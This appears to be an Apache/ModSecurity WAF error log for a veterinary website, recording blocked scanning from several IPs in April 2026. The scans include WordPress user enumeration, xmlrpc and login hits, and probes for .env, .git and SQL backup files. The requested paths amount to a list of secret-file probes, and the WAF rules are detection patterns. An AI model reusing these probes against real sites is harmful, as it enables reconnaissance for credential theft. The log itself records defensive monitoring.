[Sat Apr 18 22:05:46.484315 2026] [:error] [pid 32677:tid 32684] [client 185.195.232.178:55169] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=10 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuhngmUE3LdC-wP7paQAAAkQ"]
[Sat Apr 18 22:05:46.484418 2026] [:error] [pid 32677:tid 32697] [client 185.195.232.178:55181] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=5 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuhngmUE3LdC-wP7pagAAAlE"]
[Sat Apr 18 22:05:46.485404 2026] [:error] [pid 9970:tid 9998] [client 185.195.232.178:64101] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=6 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuiYdRLRhVmaIMx3RnAAAANg"]
[Sat Apr 18 22:05:46.740031 2026] [:error] [pid 9970:tid 9979] [client 185.195.232.178:53375] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=1 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuiYdRLRhVmaIMx3RngAAAMU"]
[Sat Apr 18 22:05:46.751623 2026] [:error] [pid 9970:tid 9974] [client 185.195.232.178:54581] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=2 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuiYdRLRhVmaIMx3RnwAAAMA"]
[Sat Apr 18 22:05:46.771835 2026] [:error] [pid 9970:tid 9977] [client 185.195.232.178:59000] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeOPuiYdRLRhVmaIMx3RoQAAAMM"]
[Sat Apr 18 22:05:46.778611 2026] [:error] [pid 9865:tid 9940] [client 185.195.232.178:64857] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=9 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuqzb5knECIY-C-iZHQAAAIM"]
[Sat Apr 18 22:05:46.779079 2026] [:error] [pid 9865:tid 9954] [client 185.195.232.178:58998] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=8 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuqzb5knECIY-C-iZHAAAAJE"]
[Sat Apr 18 22:05:46.779361 2026] [:error] [pid 32678:tid 32729] [client 185.195.232.178:57110] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=3 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuhUlAXU_ZWUu5y8IKAAAApY"]
[Sat Apr 18 22:05:46.780449 2026] [:error] [pid 32647:tid 32661] [client 185.195.232.178:51153] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?rest_route=/wp/v2/users HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPukkxooM0iRo6e54srwAAAgs"]
[Sat Apr 18 22:05:46.791920 2026] [:error] [pid 9970:tid 9997] [client 185.195.232.178:54733] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/wordpress/xmlrpc.php"] [unique_id "aeOPuiYdRLRhVmaIMx3RogAAANc"]
[Sat Apr 18 22:05:47.025463 2026] [:error] [pid 9970:tid 9991] [client 185.195.232.178:53375] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeOPuyYdRLRhVmaIMx3RowAAANE"]
[Sat Apr 18 22:05:47.033478 2026] [:error] [pid 9970:tid 9992] [client 185.195.232.178:54581] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?rest_route=/wp/v2/users HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuyYdRLRhVmaIMx3RpAAAANI"]
[Sat Apr 18 22:05:47.296725 2026] [:error] [pid 9970:tid 9984] [client 185.195.232.178:59000] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeOPuyYdRLRhVmaIMx3RpQAAAMo"]
[Sat Apr 18 22:05:47.300550 2026] [:error] [pid 32647:tid 32670] [client 185.195.232.178:51153] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?rest_route=/wp/v2/users HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPu0kxooM0iRo6e54ssAAAAhQ"]
[Sat Apr 18 22:45:48.660157 2026] [:error] [pid 32678:tid 32731] [client 45.160.89.121:20490] [client 45.160.89.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.160.89.121, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeOZHBUlAXU_ZWUu5y8REQAAApg"]
[Sun Apr 19 00:23:46.561064 2026] [:error] [pid 60910:tid 60929] [client 43.130.12.43:43224] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeOwEnFWunkyacYqsD0PcwAAAVE"]
[Sun Apr 19 03:17:03.550370 2026] [:error] [pid 32165:tid 32175] [client 45.132.115.88:32043] [client 45.132.115.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aePYr6e2vKwEk_N0BrYFAgAAAAY"]
[Sun Apr 19 05:04:57.710945 2026] [:error] [pid 47886:tid 47898] [client 70.224.198.136:51864] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aePx-USe8yiyuPrD7yPjOwAAAMo"]
[Sun Apr 19 05:04:58.434070 2026] [:error] [pid 47773:tid 47839] [client 70.224.198.136:52456] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/db.sql"] [unique_id "aePx-uiBHdnCJDuPq9BCtQAAAFc"]
[Sun Apr 19 05:04:59.156702 2026] [:error] [pid 15765:tid 15859] [client 70.224.198.136:53071] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/dump.sql"] [unique_id "aePx-_Rqinw-W5EwQ757FwAAAoY"]
[Sun Apr 19 05:04:59.923578 2026] [:error] [pid 15764:tid 15844] [client 70.224.198.136:53811] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/database.sql"] [unique_id "aePx-2LL_sqdSHoVp-TlUwAAAlI"]
[Sun Apr 19 05:05:00.690952 2026] [:error] [pid 47886:tid 47888] [client 70.224.198.136:54421] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/backup.sql"] [unique_id "aePx_ESe8yiyuPrD7yPjRAAAAMA"]
[Sun Apr 19 05:05:01.413618 2026] [:error] [pid 47886:tid 47907] [client 70.224.198.136:55113] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/config/db.sql"] [unique_id "aePx_USe8yiyuPrD7yPjRgAAANM"]
[Sun Apr 19 05:05:02.138324 2026] [:error] [pid 47772:tid 47802] [client 70.224.198.136:55810] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/sql/db.sql"] [unique_id "aePx_oc0L16cb4smAz-UCwAAAA0"]
[Sun Apr 19 05:05:02.860097 2026] [:error] [pid 15765:tid 15871] [client 70.224.198.136:56297] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/data/dump.sql"] [unique_id "aePx_vRqinw-W5EwQ757GgAAApI"]
[Sun Apr 19 05:05:03.583291 2026] [:error] [pid 47775:tid 47859] [client 70.224.198.136:56809] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/backups/database.sql"] [unique_id "aePx_7mztjlk9tsmoexnbgAAAJA"]
[Sun Apr 19 05:05:04.348009 2026] [:error] [pid 47773:tid 47830] [client 70.224.198.136:57523] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/mysql.sql"] [unique_id "aePyAOiBHdnCJDuPq9BCuwAAAE4"]
[Sun Apr 19 05:05:05.113594 2026] [:error] [pid 47772:tid 47791] [client 70.224.198.136:58128] [client 70.224.198.136] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/db_backup.sql"] [unique_id "aePyAYc0L16cb4smAz-UEAAAAAI"]
[Sun Apr 19 05:20:26.516391 2026] [:error] [pid 47772:tid 47793] [client 43.157.147.3:33794] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeP1moc0L16cb4smAz-ZnQAAAAQ"]
[Sun Apr 19 05:46:01.832504 2026] [:error] [pid 47773:tid 47835] [client 82.112.253.162:58732] [client 82.112.253.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aeP7meiBHdnCJDuPq9BZBQAAAFM"]
[Sun Apr 19 06:26:49.731124 2026] [:error] [pid 15760:tid 15773] [client 16.16.24.222:55824] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aeQFKfSdD_XHQMJ_ISsfxgAAAcU"]
[Sun Apr 19 06:26:53.198104 2026] [:error] [pid 47773:tid 47832] [client 16.16.24.222:59878] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aeQFLeiBHdnCJDuPq9By3QAAAFA"]
[Sun Apr 19 06:26:54.238311 2026] [:error] [pid 47886:tid 47901] [client 16.16.24.222:33396] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aeQFLkSe8yiyuPrD7yP6SAAAAM0"]
[Sun Apr 19 06:26:55.295664 2026] [:error] [pid 47775:tid 47846] [client 16.16.24.222:33402] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aeQFL7mztjlk9tsmoeyBcwAAAIM"]
[Sun Apr 19 06:26:56.379615 2026] [:error] [pid 15693:tid 15704] [client 16.16.24.222:33410] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aeQFMMNMD-ccazQlTskaPAAAAUg"]
[Sun Apr 19 06:26:57.419404 2026] [:error] [pid 47773:tid 47836] [client 16.16.24.222:33416] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aeQFMeiBHdnCJDuPq9By5gAAAFQ"]
[Sun Apr 19 06:26:58.457199 2026] [:error] [pid 47775:tid 47843] [client 16.16.24.222:33418] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "aeQFMrmztjlk9tsmoeyBfQAAAIA"]
[Sun Apr 19 06:26:59.507596 2026] [:error] [pid 15764:tid 15836] [client 16.16.24.222:33424] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.remote"] [unique_id "aeQFM2LL_sqdSHoVp-T0wwAAAko"]
[Sun Apr 19 06:27:00.552011 2026] [:error] [pid 47772:tid 47801] [client 16.16.24.222:33436] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "aeQFNIc0L16cb4smAz-2lQAAAAw"]
[Sun Apr 19 06:27:01.590593 2026] [:error] [pid 15764:tid 15828] [client 16.16.24.222:33448] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.backup"] [unique_id "aeQFNWLL_sqdSHoVp-T0xQAAAkI"]
